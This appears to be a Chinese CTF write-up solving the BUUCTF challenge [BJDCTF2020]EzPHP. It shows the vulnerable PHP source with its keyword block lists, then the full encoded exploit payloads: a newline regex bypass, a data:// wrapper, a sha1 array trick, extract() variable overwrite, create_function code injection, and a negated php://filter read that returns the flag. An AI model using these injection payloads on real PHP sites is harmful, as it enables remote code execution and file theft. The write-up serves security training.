BUUCTF-WEB [BJDCTF2020]EzPHP 1

考点&知识点

代码审计

解题过程

分析

image-20211020155603043

打开是这个样,不能右键看源代码,通过view-source:的方式查看

image-20211020155716316

得到一串类似于base64的字符串

1
GFXEIM3YFZYGQ4A=

猜测是base32,解码得到

1
1nD3x.php

访问得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

代码审计

这需要绕过的条件比较多,我单独分开列出来。

1
2
3
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)

第一个条件就过滤了需要用到的关键字,这个正则匹配的是$_SERVER['QUERY_STRING']里的内容,这个数组变量的值保存的是查询的字符串?query=1&,也就是?后面的字符串。

对参数进行url编码后,拿到的也是编码后的内容,这个正则我们可以通过url编码绕过。

1
2
3
4
5
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}

这里有两个条件,第一个条件过滤了httphttps关键字。下面的就是正则字符匹配的双标操作,既要等于这个字符串又不能是这个字符串,遇到/^aqua_is_cute$/,可以在末尾加上%0a,%0a就是换行,就可以绕过。

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

这个正则就有点狠,直接对$_REQUEST数组进行变量,把该数组中所有的属性值都进行正则匹配,不能有字母。以我的思路,到这就做不动了,还是看师傅们的wp,当我们同时提交get和post请求时,这个foreach是以post请求优先进行遍历。此时的$_REQUEST就是post传入的内容,所以这里同时传入file和debu参数即可绕过。(这个如果post跟get请求都有file参数,那么就只会遍历post的file参数)

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

只要绕过了前面几个条件,这个还是比较容易,不能使用httphttps,这里可以使用data协议。

1
data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=
1
2
3
4
5
6
7

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

老知识点了,sha1加密的双标操作,数组绕过即可。绕过后,会执行extract函数,这个函数可以进行进行变量覆盖,这里我们需要覆盖的是$code和$arg。

1
2
flag[code]=覆盖$code变量的值
flag[arg]=覆盖$arg变量的值
1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

接下来,最后一个条件,也是利用点,$code('', $arg);,这里可以使用create_function函数,这里有个下划线,正则匹配的是只能是数字和字母,并且以数字字母开头结尾,直接绕过,create_function函数的利用方式另一篇有讲。另一个条件,可以看到过滤了很多关键字,但是没有过滤var_dumpget_defined_vars函数,这里通过var_dumpget_defined_vars输出全部变量的值。

最终构建的payload

1
debu=aqua_is_cute%0a&file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

但是要进行rul编码

get

1
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%73%68%61%6e%61[]=a&%70%61%73%73%77%64[]=b&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}var_dump(get_defined_vars());//

post

1
file=1&debu=2

回显

image-20211020170242741

再次读取

注意:这里使用system函数执行命令,是没有回显的。

这里使用require函数用php://filter协议进行读取

payload

1
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

当然,这里面有很多关键字被过滤掉了,这里对内容进行取反进行url编码得到得到

1
%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
1
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

再次提交

get

1
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%73%68%61%6e%61[]=a&%70%61%73%73%77%64[]=b&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

post

1
file=1&debu=2

1
PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFnezFhNDM5N2MwLWI5ODctNGU4Mi04NjY3LTJiOGRiNDkyOGJiMn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo=
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{1a4397c0-b987-4e82-8667-2b8db4928bb2}";
unset($rea1_f1114g);

完成

总结

比较喜欢做这类题目,像闯关一样,不仅能学到很多新知识点,还能一步步调试,分析程序执行过程。